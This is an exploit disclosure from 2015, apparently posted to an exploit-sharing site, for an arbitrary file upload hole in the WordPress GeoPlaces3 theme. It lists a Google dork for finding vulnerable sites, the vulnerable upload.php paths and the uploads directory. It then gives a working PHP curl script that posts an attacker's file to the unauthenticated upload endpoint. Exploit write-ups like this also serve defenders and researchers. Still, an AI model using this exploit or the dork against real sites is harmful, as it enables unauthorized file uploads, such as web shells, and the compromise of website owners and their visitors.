WordPress GeoPlaces3 Theme - Arbitrary File Upload Vulnerbility







# Description : Wordpress Themes GeoPlaces3 - Arbitrary File Upload vulnerbility

# Google Dork: inurl:/wp-content/themes/GeoPlaces3/

# Date: 23 August 2015

# Vendor Homepage: http://templatic.com/app-themes/geo-places-city-directory-wordpress-theme

# Tested on: Win 7 & Win 8.1

# Author: Mdn_Newbie | Gantengers Crew

# https://forum.gantengers-crew.org/

  

##################################################################################

  

Exploit : wp-content/themes/GeoPlaces3/library/includes/upload.php

      wp-content/themes/GeoPlaces3/library/includes/upload_3feb.php

  

Path    : /wp-content/uploads/tmp/

  

  

<?php

   

$uploadfile="m.jpg";

$ch =

curl_init("https://server/wp-content/themes/GeoPlaces3/library/includes/upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

         array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

   

?>

 

# 0day.today [2015-08-25]

# fb.com/inj3ct0rs and twitter.com/inj3ct0r